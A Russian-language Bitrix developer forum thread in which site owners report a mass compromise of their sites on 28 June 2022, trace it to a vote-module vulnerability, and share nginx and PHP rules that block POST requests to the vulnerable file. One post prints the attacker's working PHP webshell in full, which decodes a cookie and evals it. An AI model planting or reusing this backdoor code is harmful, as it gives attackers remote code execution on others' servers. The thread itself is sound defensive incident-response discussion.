Разработчикам

Взломаны сайты в честь дня конституции украины

Пользователь 401679 Заглянувший Сообщений: 19 Баллов: 2 Регистрация: 26.10.2015	#1 28.06.2022 10:38:20 Обновление до последней версии поможет предотвратить дальнейшее убийство проектов? - убита главная страница - убит .settings.php - убиты инфоблоки с элементами Как ломают?

Пользователь 35902 Заглянувший Сообщений: 18 Баллов: 2 Регистрация: 15.01.2009	#2 28.06.2022 11:08:03 Выглядит как скрипт по таймеру, ждали текущей даты\времени и массово запустилось. Прямо с утра кейсов 7. Корни проблемы пока не ясны, делаю ставку на какой то сторонний плагин или шаблон.

Пользователь 401679 Заглянувший Сообщений: 19 Баллов: 2 Регистрация: 26.10.2015	#3 28.06.2022 11:11:11 наши сайты без сторонних шаблонов и все с нуля написанные

Пользователь 89725 Посетитель Сообщений: 62 Баллов: 5 Регистрация: 29.04.2011	#4 28.06.2022 11:13:17 единственно, что заметил, что все сломаные сайты на виртуальном окружении, на виртуальном хостинге не сломаны Решения Плюс

Пользователь 401679 Заглянувший Сообщений: 19 Баллов: 2 Регистрация: 26.10.2015	#5 28.06.2022 11:14:46 у нас на VDS все, было на одном сервере 2 сайта, один сломан - второй работает

Пользователь 89725 Посетитель Сообщений: 62 Баллов: 5 Регистрация: 29.04.2011	#6 28.06.2022 11:17:36 и как минимум постоянно создается файл в /bitrix/tools/putin_***.php Решения Плюс

Пользователь 109495 Посетитель Сообщений: 53 Баллов: 5 Регистрация: 04.12.2011	#7 28.06.2022 11:17:41 У нас у 2-ух разных клиентов такая же проблема + заметили, что права на папку с сайтом сломали и пароли админов сменили http://www.intervolga.ru - сайты для Москвы, Волгограда, Ростова, поддержка и продвижение

Пользователь 64107 Заглянувший Сообщений: 1 Регистрация: 28.06.2022	#8 28.06.2022 11:21:05 Тоже сайт взломан.

Пользователь 109495

Посетитель

Сообщений: 53 Баллов: 5 Регистрация: 04.12.2011

28.06.2022 11:33:38

Взломали с помощью записанных в папку upload файлов (у нас это /upload/tmp/BXTEMP-2022-06-28/), которые добавляют и запускают агента (ID=1). Скорее всего это связано с уязвимостью модуля vote известной ещё с апреля - на сайтах не было обновлений, в которых была исправлена ошибка безопасности. Ссылка на уязвимость https://bdu.fstec.ru/vul/2022-01141

http://www.intervolga.ru - сайты для Москвы, Волгограда, Ростова, поддержка и продвижение

Пользователь 6182538

Заглянувший

Сообщений: 4 Регистрация: 14.04.2022

#10

28.06.2022 11:35:05

Цитата

написал:
Взломали с помощью записанных в папку upload файлов (у нас это /upload/tmp/BXTEMP-2022-06-28/), которые добавляют и запускают агента (ID=1). Скорее всего это связано с уязвимостью модуля vote известной ещё с апреля - на сайтах не было обновлений, в которых была исправлена ошибка безопасности. Ссылка на уязвимость https://bdu.fstec.ru/vul/2022-01141

Печально, у нас тоже все положили))

Пользователь 6182538 Заглянувший Сообщений: 4 Регистрация: 14.04.2022	#11 28.06.2022 11:36:18 если папку upload закрыть на запись временно?

Пользователь 35902

Заглянувший

Сообщений: 18 Баллов: 2 Регистрация: 15.01.2009

#12

28.06.2022 11:41:40

Цитата

Анатолий Ерофеев написал:
Взломали с помощью записанных в папку upload файлов (у нас это /upload/tmp/BXTEMP-2022-06-28/), которые добавляют и запускают агента (ID=1). Скорее всего это связано с уязвимостью модуля vote известной ещё с апреля - на сайтах не было обновлений, в которых была исправлена ошибка безопасности. Ссылка на уязвимость https://bdu.fstec.ru/vul/2022-01141

Спасибо за информацию, да на проблемных серверах, модуль vote ниже 21.0.100

Пользователь 6182538 Заглянувший Сообщений: 4 Регистрация: 14.04.2022	#13 28.06.2022 11:50:16 За что отвечает этот модуль?

Пользователь 5113914 Заглянувший Сообщений: 1 Регистрация: 18.03.2021	#14 28.06.2022 11:51:29 Добавлен файл /bitrix/tools/putin_huilo.php Сменены пароли у всех пользователей Очищены таблицы: b_iblock b_iblock_element b_iblock_element_property

Пользователь 109495

Посетитель

Сообщений: 53 Баллов: 5 Регистрация: 04.12.2011

#15

28.06.2022 11:58:04

Цитата
написал: За что отвечает этот модуль?

Опросы и голосования

http://www.intervolga.ru - сайты для Москвы, Волгограда, Ростова, поддержка и продвижение

Пользователь 401679 Заглянувший Сообщений: 19 Баллов: 2 Регистрация: 26.10.2015	#16 28.06.2022 12:06:02 Битриксовое облако почти встало - все качают

Пользователь 4507922

Заглянувший

Сообщений: 5 Регистрация: 11.08.2020

#17

28.06.2022 12:09:57

Цитата
написал: Добавлен файл /bitrix/tools/putin_huilo.php Сменены пароли у всех пользователей Очищены таблицы: b_iblock b_iblock_element b_iblock_element_property

Вот код из этого файла
<?php error_reporting(0);$c=base64_decode($_COOKIE["6a9d4c231d03dbc5454b74fd1c5d15c1"]);$d=(string)NULL;for($i=0;$i<strlen($c);$i++)$d.=chr(ord($c[$i])^42);eval($d);
Прилагаю файлы и скриншоты, относящимися к проблеме, которые удалось найти https://disk.yandex.ru/d/oix1yUFjAAh-KQ

Пользователь 6182538 Заглянувший Сообщений: 4 Регистрация: 14.04.2022	#18 28.06.2022 12:15:59 Если модуль Vote удалить из битрикс, уязвимость пропадет?

Пользователь 28977

Посетитель

Сообщений: 26 Баллов: 5 Регистрация: 01.09.2008

#19

28.06.2022 12:59:03

1) Удалите этот агент https://monosnap.com/file/uZZrpPGwU8Gyx6cWcQ1ooQnvNECxZm . Он как раз создает bitrix/tools/putin_hu****.php

https://bdu.fstec.ru/vul/2022-01141 провертье эту уязвимость у себя

2) location = /bitrix/tools/vote/uf.php {
if ($request_method = POST) { return 404; }
try_files return @php;
}
Вот такой локейшен запретит пост запросы к данному файлу что предотвратит взлом даже если у вас уязвимая версия vote

Пользователь 742531

Заглянувший

Сообщений: 10 Баллов: 1 Регистрация: 28.10.2016

#20

28.06.2022 13:21:44

Цитата
написал: location = /bitrix/tools/vote/uf.php { if ($request_method = POST) { return 404; } try_files return @php;}

А в каком файле прописать этот локейшен?

http://nikovit.ru/

Пользователь 269435

Заглянувший

Сообщений: 9 Регистрация: 08.07.2014

#21

28.06.2022 13:31:35

Цитата

написал:

Цитата
написал: location = /bitrix/tools/vote/uf.php { if ($request_method = POST) { return 404; } try_files return @php;}

А в каком файле прописать этот локейшен?

вероятно в правилах nginx

Пользователь 4606276

Заглянувший

Сообщений: 12 Баллов: 1 Регистрация: 18.09.2020

#22

28.06.2022 13:45:02

Цитата

написал:

Цитата
написал: location = /bitrix/tools/vote/uf.php { if ($request_method = POST) { return 404; } try_files return @php;}

А в каком файле прописать этот локейшен?

В файле /bitrix/tools/vote/uf.php перед require:

Код
$request = \Bitrix\Main\Context::getCurrent()->getRequest(); if($request->isPost()) { CHTTP::SetStatus("404 Not Found"); @define("ERROR_404","Y"); die(); }

Пользователь 145697

Посетитель

Сообщений: 30 Баллов: 5 Регистрация: 13.10.2012

#23

28.06.2022 14:03:40

Коллеги, имейте ввиду дело не только в модуле vote. У нас его нет, а сайты поломали. Перед поломкой зафиксированы POST запросы к /bitrix/tools/html_editor_action.php

Так что когда этот бот обходит сайты он проверяет уязвимости разные, а не только vote

Пользователь 6393072 Заглянувший Сообщений: 2 Регистрация: 28.06.2022	#24 28.06.2022 14:06:20 Добрый день! У нас тоже упал сайт, и не возможно зайти в админку. Подскажите, пожалуйста, как вы выполнили вход? Я аккаунт-менеджер, мы сейчас без программиста и в поиске тех. поддержки на постоянную основу.

Пользователь 145697

Посетитель

Сообщений: 30 Баллов: 5 Регистрация: 13.10.2012

#25

28.06.2022 14:17:33

Цитата
написал: Подскажите, пожалуйста, как вы выполнили вход? Я аккаунт-менеджер, мы сейчас без программиста

без программиста не войдете

Взломаны сайты в честь дня конституции украины

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером